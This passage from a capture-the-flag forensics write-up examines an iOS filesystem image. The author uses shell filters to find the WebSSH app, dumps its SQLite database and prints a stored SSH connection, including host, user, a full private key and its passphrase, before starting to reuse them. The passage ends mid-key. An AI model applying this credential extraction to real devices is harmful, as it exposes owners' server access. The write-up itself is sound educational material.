luginKitPlugin/B3D150FB-FD7E-4A6D-A4B0-C8277CADF6DF/Library/Caches/com.apple.dyld./Data/PluginKitPlugin/B3D150FB-FD7E-4A6D-A4B0-C8277CADF6DF/Library/Caches/com.apple.dyld/com.apple.mobilenotes.WidgetExtension.closure./Data/PluginKitPlugin/B3D150FB-FD7E-4A6D-A4B0-C8277CADF6DF/Library/SyncedPreferences/com.apple.mobilenotes.WidgetExtension-com.apple.notes.analytics.plist./Data/PluginKitPlugin/B3D150FB-FD7E-4A6D-A4B0-C8277CADF6DF/Library/SyncedPreferences/com.apple.mobilenotes.WidgetExtension.plist./Data/PluginKitPlugin/09D88789-E428-4922-B8D9-802A7399F256/Library/Preferences/com.apple.FileProvider./Data/PluginKitPlugin/09D88789-E428-4922-B8D9-802A7399F256/Library/Preferences/com.apple.FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider./Data/PluginKitPlugin/D02660B1-0F69-424C-B13C-AB0D17D1D979/SystemData/com.apple.chrono./Data/PluginKitPlugin/D02660B1-0F69-424C-B13C-AB0D17D1D979/SystemData/com.apple.chrono/placeholders/com.apple.tv-- snip --``` Alright, that's still a lot to take in! Let's use `awk` to split each line by the `/` delimiter and print only the final token containing the name, and then let's `sort` it and make a unique list out of it with `uniq -u`. Let's additionally filter out all the built-in Apple stuff by performing a reverse `grep` on the "com.apple" string: ```sh[skat@anubis:~/.../Containers] $ find . -name "com.*" | awk -F '/' '{print $NF}' | sort | uniq -u | grep -v "com.apple"com.crashlyticscom.crashlytics.datacom.firebase.FIRInstallations.plistcom.google.gmp.measurement.monitor.plistcom.google.gmp.measurement.plistcom.hackemist.SDImageCachecom.hammerandchisel.discord - {DEFAULT GROUP}com.hammerandchisel.discord.plistcom.hammerandchisel.discord.savedStatecom.innersloth.amongus - {DEFAULT GROUP}com.innersloth.amongus.plistcom.innersloth.amongus.savedStatecom.itimeteo.webssh - {DEFAULT GROUP}com.itimeteo.webssh.plistcom.itimeteo.webssh.savedStatecom.plausiblelabs.crashreporter.data``` Awesome! Right away, I notice `com.itimeteo.webssh`. Could Red have been using SSH to exfiltrate data? Let's find out by continuing to explore this application and its associated saved data: ```sh[skat@anubis:~/work/UIUCTF/private/var/mobile/Containers] $ find . -name "com.itimeteo.webssh - {DEFAULT GROUP}"./Data/Application/AA7DB282-D12B-4FB1-8DD2-F5FEF3E3198B/Library/SplashBoard/Snapshots/com.itimeteo.webssh - {DEFAULT GROUP}[skat@anubis:~/work/UIUCTF/private/var/mobile/Containers] $ cd ./Data/Application/AA7DB282-D12B-4FB1-8DD2-F5FEF3E3198B/[skat@anubis:~/work/UIUCTF/private/var/mobile/Containers/Data/Application/AA7DB282-D12B-4FB1-8DD2-F5FEF3E3198B] $ tree.├── Documents├── Library│   ├── Application Support│   │   └── webssh.db│   ├── Caches│   │   └── com.apple.dyld│   │   └── WebSSH.closure│   ├── Preferences│   │   └── com.itimeteo.webssh.plist│   ├── Saved Application State│   │   └── com.itimeteo.webssh.savedState│   │   └── KnownSceneSessions│   │   └── data.data│   └── SplashBoard│   └── Snapshots│   ├── com.itimeteo.webssh - {DEFAULT GROUP}│   │   ├── [email protected]│   │   ├── [email protected]│   │   ├── [email protected]│   │   ├── [email protected]│   │   ├── [email protected]│   │   ├── [email protected]│   │   ├── [email protected]│   │   ├── [email protected]│   │   └── downscaled│   │   └── [email protected]│   └── sceneID:com.itimeteo.webssh-default│   └── downscaled├── StoreKit│   └── receipt├── SystemData└── tmp 18 directories, 14 files``` I see a `webssh.db` file, which seems interesting. Perhaps this file will contain some saved data regarding Red's data exfiltration? ```sh[skat@anubis:~/.../AA7DB282-D12B-4FB1-8DD2-F5FEF3E3198B] $ cd "./Library/Application Support"[skat@anubis:~/.../Application Support] $ file webssh.dbwebssh.db: SQLite 3.x database, last written using SQLite version 3032003[skat@anubis:~/.../Application Support] $ sqlite3 webssh.db``` ```sqlSQLite version 3.36.0 2021-06-18 18:36:39Enter ".help" for usage hints.sqlite> .dumpPRAGMA foreign_keys=OFF;BEGIN TRANSACTION;CREATE TABLE NSFValues(ROWID INTEGER PRIMARY KEY, NSFKey TEXT, NSFAttribute TEXT, NSFValue NONE, NSFDatatype TEXT);INSERT INTO NSFValues VALUES(1,'4F479229-163D-469B-AD21-E23CDFDAFBBC','privatePart',replace('-----BEGIN OPENSSH PRIVATE KEY-----\n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\n9HmS+uFZxtacdqj4KdrHPcagm3Q=\n-----END OPENSSH PRIVATE KEY-----\n','\n',char(10)),'TEXT');INSERT INTO NSFValues VALUES(2,'4F479229-163D-469B-AD21-E23CDFDAFBBC','objectIsDeleted',0,'REAL');INSERT INTO NSFValues VALUES(3,'4F479229-163D-469B-AD21-E23CDFDAFBBC','objectCreation','2021-07-25 14:12:28:733','TEXT');INSERT INTO NSFValues VALUES(4,'4F479229-163D-469B-AD21-E23CDFDAFBBC','objectType','privateKey','TEXT');INSERT INTO NSFValues VALUES(5,'4F479229-163D-469B-AD21-E23CDFDAFBBC','objectEdition','2021-07-25 14:12:28:739','TEXT');INSERT INTO NSFValues VALUES(6,'4F479229-163D-469B-AD21-E23CDFDAFBBC','isEncrypted',1,'REAL');INSERT INTO NSFValues VALUES(7,'4F479229-163D-469B-AD21-E23CDFDAFBBC','name','private_key','TEXT');INSERT INTO NSFValues VALUES(8,'4F479229-163D-469B-AD21-E23CDFDAFBBC','decryptPassword','********','TEXT');INSERT INTO NSFValues VALUES(9,'69933883-557F-4A3D-94ED-F38CEE706B57','objectCreation','2021-07-25 14:11:08:530','TEXT');INSERT INTO NSFValues VALUES(10,'69933883-557F-4A3D-94ED-F38CEE706B57','port_knocking','','TEXT');INSERT INTO NSFValues VALUES(11,'69933883-557F-4A3D-94ED-F38CEE706B57','objectType','connection','TEXT');INSERT INTO NSFValues VALUES(12,'69933883-557F-4A3D-94ED-F38CEE706B57','port_forwarding','','TEXT');INSERT INTO NSFValues VALUES(13,'69933883-557F-4A3D-94ED-F38CEE706B57','type','SSH','TEXT');INSERT INTO NSFValues VALUES(14,'69933883-557F-4A3D-94ED-F38CEE706B57','host','red.chal.uiuc.tf','TEXT');INSERT INTO NSFValues VALUES(15,'69933883-557F-4A3D-94ED-F38CEE706B57','objectIsDeleted',0,'REAL');INSERT INTO NSFValues VALUES(16,'69933883-557F-4A3D-94ED-F38CEE706B57','authentication.privateKeyID','4F479229-163D-469B-AD21-E23CDFDAFBBC','TEXT');INSERT INTO NSFValues VALUES(17,'69933883-557F-4A3D-94ED-F38CEE706B57','authentication.password','','TEXT');INSERT INTO NSFValues VALUES(18,'69933883-557F-4A3D-94ED-F38CEE706B57','authentication.2fa','false','TEXT');INSERT INTO NSFValues VALUES(19,'69933883-557F-4A3D-94ED-F38CEE706B57','authentication.user','red','TEXT');INSERT INTO NSFValues VALUES(20,'69933883-557F-4A3D-94ED-F38CEE706B57','groupName','','TEXT');INSERT INTO NSFValues VALUES(21,'69933883-557F-4A3D-94ED-F38CEE706B57','objectEdition','2021-07-25 14:12:31:621','TEXT');INSERT INTO NSFValues VALUES(22,'69933883-557F-4A3D-94ED-F38CEE706B57','name','Red’s Server','TEXT');INSERT INTO NSFValues VALUES(23,'69933883-557F-4A3D-94ED-F38CEE706B57','port',42069,'REAL');CREATE TABLE NSFKeys(ROWID INTEGER PRIMARY KEY, NSFKey TEXT, NSFKeyedArchive BLOB, NSFCalendarDate TEXT, NSFObjectClass TEXT);INSERT INTO NSFKeys VALUES(1,'4F479229-163D-469B-AD21-E23CDFDAFBBC',X'62706c6973743030d4010203040506070a582476657273696f6e592461726368697665725424746f7058246f626a6563747312000186a05f100f4e534b657965644172636869766572d1080954726f6f748001af10150b0c232425262728292a2b2f37383c3f404344454655246e756c6cd30d0e0f101922574e532e6b6579735a4e532e6f626a656374735624636c617373a8111213141516171880028003800480058006800780088009a81a1b1c1d1e1f2021800a800c800d800f801080118012801380145b70726976617465506172745f100f6f626a656374497344656c657465645e6f626a6563744372656174696f6e5a6f626a656374547970655d6f626a65637445646974696f6e5b6973456e63727970746564546e616d655f100f6465637279707450617373776f7264d20f2c2d2e594e532e737472696e67800b5f110a5f2d2d2d2d2d424547494e204f50454e5353482050524956415445204b45592d2d2d2d2d0a6233426c626e4e7a614331725a586b74646a454141414141436d466c637a49314e69316a6448494141414147596d4e796558423041414141474141414142417471656d704e770a54757772456d706c2b4379325178414141414541414141414541414147584141414142334e7a614331796332454141414144415141424141414267514443347576474b72314d0a3335695a4a6b4255356b4b64754b74424d45467569344a61726b567575444d79307337676b554e353443517a522b70544735755050422f32416f4770413942452f35585258690a654f624b4a71656d784250646655412f5a6c436b66377543736d59354262424253633764504e566741556843654249324a59482f72434b4b51346870574854595242695537590a6b3454394e736b367273495a4b76546e7652462b355a5371466a5941776c7a66662b4567627342675163306b37356a4869456f697564696e596d376b7771454d6e7a585961380a7065725074756b4a3351614f6a67505036744f53443450305837417863732b5537704261505a734e47445931352f517a49523466533479523332696d596a4a314831376e31550a4577344b787146696e70742f71475a54476a6e68454866486641575276776e51346e566972624953556c69757872704d654533766b776c4d63767735554a567a45445a4239380a5852785a577a76647359526a6c577571686150743559674a6858312b334e45306f47484443564d6d6478506453734c38736b6b654d6d4b4f62356b3530455a3165413558462f0a592f782f72434d657171563375773661574e65383876694d67336941542f4234644e3763495330574b582b3267637642506e395a787934587532705341714b6375524a2b544c0a4c76695232386879336c7a4c73414141575141585355506d665777426a45637a4e642f68504765374f376a387a392f676153744d42672b724a57745632446d313836304162680a4e2f756a3244533354486d324f444c6c676b4561634943596733506c776676794b734a447738364c63376b4f552b6a2b774d514c6f536a3545396c59716d4e636f426c5472750a43695577396f53656f65562f527a5175594a3277354447382f5636554669586e5944755457304b6b38792f6c34556a2b397a5367556f68336b666b52484f69763167456a46580a694b78522b2f516b51316f414a6b73343944445833373375746d62685a362f67474762476b46796c4d44654d6b6458773061655449365558306842354479477a31535172476b0a62545a7a5057674d6a7456574a593077764d36617277735431637131736745596a706f57574f66663042514f425578564157333336593248414559702f7a734d434c4c335a6f0a772f36664f6a2b65705272713030525037496c6e556a51433242333871674362496c6c61664f7455525659427835776a4e444e557038644474325852455130687338792b55790a2f3936414b524f53412f506a317a2f36786a774c4171576a67537879694d5770524a504b645371664e444c716d7779753845662f456e743053574c58594b38475043567236580a746a487447522b7376716c3879553034526f4f476949564733517a545a345777444f764568525741307a414841754f756c6371776d3843776c76385a5053303555716f4750780a5634756e3367324454735766614d6536744846715654624e756d756d55615a4c336b47705649634e4a4b6d436e70324650716f3336644b76473256684f4c45714d61476c50760a464158747678714c697a394d54314b72345758795263706d3473316f7934633572685371326f77445a4377516e744d423034724878596b47642b5278616a6f56466473352b630a555a38376f7578322f30623052572f6357423273427a7673545a4d6938573935344b6f4a39644e614957394b2f3461314e4c6a354a594146354a6832513950566369464f78700a6f6953534f41664d71544f5267357a7a2f435337624f35496a59344c63576b31394a4d396d344f32394f6976424f6c5269426a366d42506e66576e6f327668554a6565624c480a3376496a5767654c45564c7639666b4f5a39727332652b5266444d4f5734474154674f68566275436a747143684348585247416c69784c2b4a653147785142673578712f414e0a67383965777a4d324f7539352b4c7745414d7578664c666a33306468417634374c416c4f59762f7a36686d4a41634842654f417568744177744277564832415333586d42717a0a74774668433362575a374f4150625777426a557a63736a326e3776486c72515274426a71302b7a2f4b4a334d442b4574504a362f706f647a343579507173794e364a6b4c63410a4e45562b4a4b6434706b515a6143336d524648416b47334b56344b355753434246546436434c724461557a5357306c31485a4d704a665267623348445642496f7337676e64570a316b416b794b41463672643744717175334a555a37654768777a453138425a71473051507846392f3132326369743376476a4a434f56653865384936446a5a6d5179773867610a4859463634465a61696b7853316333586464686a3857485253776650522b384e437243386457423632427a32394a6f51584c6a393847564738484376347749743145734159330a726669726832364151456c326d506d72776554793152766c75514c4f4b46594a546864713464726e4b6434575150734c4b37756d6833697a616861777631633466374f6c4b480a4d6371766a50667768337165674870704c5577464a5747772f6350314c45332f6a6a6d504a61727071612f376d306437344d33434164596f6f37704d516954634973625634640a2b672b30722f44673269554d6e2f7a45746b653055774d4147326347794e53472b47534243374556547248394332747a55372f6a5046595538753459314934414846617168520a744f72716d2f5541454e64666e427167376b6f6458312f68326c457573546939686b715a5a454d616f4b71456a574d596943764a382b744c707678304f7373314a77514536560a4c335175752b7659635173397843766f4e77304e41716f453262704970464a6530524a6c332b362b47654a437574384830396d366862477a46777157736f564b304c685435410a4b344344774b4933706f426c4b59574758567344426557496439724f69367248706c5965772b502b7773344d6c6453626732516e59626e2f67644c51334a643549494a38782b0a524c6a454b62524a39622b7243544f6951355254577034354b2f71327134753650326b6c51775232455537425633324e6c2b5a6576445a556e56516c4d4937735769747a47460a4f6563346b332f5649633642516338755a34744148304d50696645566f7847316d5a7832767466456351546a4b4c4b627773574b6c4c4d374c41674665335a444a38616965620a7176627843376e6b76694d534c4955775a517a76575243542b7766662f2f776767594942722f4579746346714a633346306539715455763372336168614777493857326732790a39486d532b75465a7874616364716a344b647248506361676d33513d0a2d2d2d2d2d454e44204f50454e5353482050524956415445204b45592d2d2d2d2d0ad2303132335a24636c6173736e616d655824636c61737365735f100f4e534d757461626c65537472696e67a33435365f100f4e534d757461626c65537472696e67584e53537472696e67584e534f626a65637408d2390f3a3b574e532e74696d652341c356f78e5dcc53800ed230313d3e564e5344617465a23d365a707269766174654b6579d2390f413b2341c356f78e5e9b63800e095b707269766174655f6b6579582a2a2a2a2a2a2a2ad2303147485f10134e534d757461626c6544696374696f6e617279a34749365c4e5344696374696f6e61727900080011001a00240029003200370049004c00510053006b007100780080008b0092009b009d009f00a100a300a500a700a900ab00b400b600b800ba00bc00be00c000c200c400c600d200e400f300fe010c0118011d012f0134013e01400ba30ba80bb30bbc0bce0bd20be40bed0bf60bf70bfc0c040c0d0c0f0c140c1b0c1e0c290c2e0c370c390c3a0c460c4f0c540c6a0c6e0000000000000201000000000000004a00000000000000000000000000000c7b','2021-07-25 14:12:28:750','BO');INSERT INTO NSFKeys VALUES(2,'69933883-557F-4A3D-94ED-F38CEE706B57',X'62706c6973743030d4010203040506070a582476657273696f6e592461726368697665725424746f7058246f626a6563747312000186a05f100f4e534b657965644172636869766572d1080954726f6f748001af10220b0c2b2c2d2e2f30313233343536373b41424344454652535455565758595a5e616255246e756c6cd30d0e0f101d2a574e532e6b6579735a4e532e6f626a656374735624636c617373ac1112131415161718191a1b1c80028003800480058006800780088009800a800b800c800dac1e1f201f222324251f272829800e80108011801080128013801480158010801f80208021801e5e6f626a6563744372656174696f6e5d706f72745f6b6e6f636b696e675a6f626a656374547970655f100f706f72745f666f7277617264696e67547479706554686f73745f100f6f626a656374497344656c657465645e61757468656e7469636174696f6e5967726f75704e616d655d6f626a65637445646974696f6e546e616d6554706f7274d2380f393a574e532e74696d652341c356f76643dfb1800fd23c3d3e3f5a24636c6173736e616d655824636c6173736573564e5344617465a23e40584e534f626a656374505a636f6e6e656374696f6e535353485f10107265642e6368616c2e756975632e746608d30d0e0f474c2aa448494a4b8016801780188019a44d4e4f50801a801b801c801d801e5c707269766174654b657949445870617373776f72645332666154757365725f102434463437393232392d313633442d343639422d414432312d453233434446444146424243505566616c736553726564d23c3d5b5c5f10134e534d757461626c6544696374696f6e617279a35b5d405c4e5344696374696f6e617279d2380f5f3a2341c356f78fcf8898800f6c00520065006420190073002000530065007200760065007211a45500080011001a00240029003200370049004c005100530078007e0085008d0098009f00ac00ae00b000b200b400b600b800ba00bc00be00c000c200c400d100d300d500d700d900db00dd00df00e100e300e500e700e900eb00fa010801130125012a012f01410150015a0168016d01720177017f0188018a018f019a01a301aa01ad01b601b701c201c601d901da01e101e601e801ea01ec01ee01f301f501f701f901fb01fd020a02130217021c02430244024a024e02530269026d027a027f0288028a02a300000000000002010000000000000063000000000000000000000000000002a6','2021-07-25 14:12:31:629','ConnectionBO');COMMIT;``` Well, would you look at that! ```sqlINSERT INTO NSFValues VALUES(14,'69933883-557F-4A3D-94ED-F38CEE706B57','host','red.chal.uiuc.tf','TEXT');INSERT INTO NSFValues VALUES(23,'69933883-557F-4A3D-94ED-F38CEE706B57','port',42069,'REAL');INSERT INTO NSFValues VALUES(19,'69933883-557F-4A3D-94ED-F38CEE706B57','authentication.user','red','TEXT');INSERT INTO NSFValues VALUES(1,'4F479229-163D-469B-AD21-E23CDFDAFBBC','privatePart',replace('-----BEGIN OPENSSH PRIVATE KEY-----\n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\n9HmS+uFZxtacdqj4KdrHPcagm3Q=\n-----END OPENSSH PRIVATE KEY-----\n','\n',char(10)),'TEXT');INSERT INTO NSFValues VALUES(8,'4F479229-163D-469B-AD21-E23CDFDAFBBC','decryptPassword','********','TEXT');``` We have a host, port, username, SSH private key, and the decryption password -- five ingredients for an SSH connection! I must admit that I found the decryption password to be quite humorous; I initially thought that the password must have been censored, but it is actually, literally `********`. Let's go ahead and copy that SSH private key into a file, give it the appropriate permissions, and connect to the server that we just uncovered. This is an exciting development! ```sh[skat@anubis:~/work/UIUCTF] $ cat key-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAtqempNwTuwrEmpl+Cy2QxAAAAEAAAAAEAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDC4uvGKr1M35iZJkBU5kKduKtBMEFui4JarkVuuDMy0s7gkUN54CQzR+pTG5uPPB/2AoGpA9BE/5XRXieObKJqemxBPdfUA/ZlCkf7uCsmY5BbBBSc7dPNVgAUhCeBI2JYH/rCKKQ4hpWHTYRBiU7Yk4T9Nsk6rsIZKvTnvRF+5ZSqFjYAwlzff+EgbsBgQc0k75jHiEoiudinYm7kwqEMnzXYa8perPtukJ3QaOjgPP6tOSD4P0X7Axcs+U7pBaPZsNGDY15/QzIR4fS4yR32imYjJ1H17n1UEw4KxqFinpt/qGZTGjnhEHfHfAWRvwnQ4nVirbISUliuxrpMeE3vkwlMcvw5UJVzEDZB98XRxZWzvdsYRjlWuqhaPt5YgJhX1+3NE0oGHDCVMmdxPdSsL8skkeMmKOb5k50EZ1eA5XF/Y/x/rCMeqqV3uw6aWNe88viMg3iAT/B4dN7cIS0WKX+2gcvBPn9Zxy4Xu2pSAqKcuRJ+TLLviR28hy3lzLsAAAWQAXSUPmfWwBjEczNd/hPGe7O7j8z9/gaStMBg+rJWtV2Dm1860AbhN/uj2DS3THm2ODLlgkEacICYg3PlwfvyKsJDw86Lc7kOU+j+wMQLoSj5E9lYqmNcoBlTruCiUw9oSeoeV/RzQuYJ2w5DG8/V6UFiXnYDuTW0Kk8y/l4Uj+9zSgUoh3kfkRHOiv1gEjFXiKxR+/QkQ1oAJks49DDX373utmbhZ6/gGGbGkFylMDeMkdXw0aeTI6UX0hB5DyGz1SQrGkbTZzPWgMjtVWJY0wvM6arwsT1cq1sgEYjpoWWOff0BQOBUxVAW336Y2HAEYp/zsMCLL3Zow/6fOj+epRrq00RP7IlnUjQC2B38qgCbIllafOtURVYBx5wjNDNUp8dDt2XREQ0hs8y+Uy/96AKROSA/Pj1z/6xjwLAqWjgSxyiMWpRJPKdSqfNDLqmwyu8Ef/Ent0SWLXYK8GPCVr6XtjHtGR+svql8yU04RoOGiIVG3QzTZ4WwDOvEhRWA0zAHAuOulcqwm8Cwlv8ZPS05UqoGPxV4un3g2DTsWfaMe6tHFqVTbNumumUaZL3kGpVIcNJKmCnp2FPqo36dKvG2VhOLEqMaGlPvFAXtvxqLiz9MT1Kr4WXyRcpm4s1oy4c5rhSq2owDZCwQntMB04rHxYkGd+RxajoVFds5+cUZ87oux2/0b0RW/cWB2sBzvsTZMi8W954KoJ9dNaIW9K/4a1NLj5JYAF5Jh2Q9PVciFOxpoiSSOAfMqTORg5zz/CS7bO5IjY4LcWk19JM9m4O29OivBOlRiBj6mBPnfWno2vhUJeebLH3vIjWgeLEVLv9fkOZ9rs2e+RfDMOW4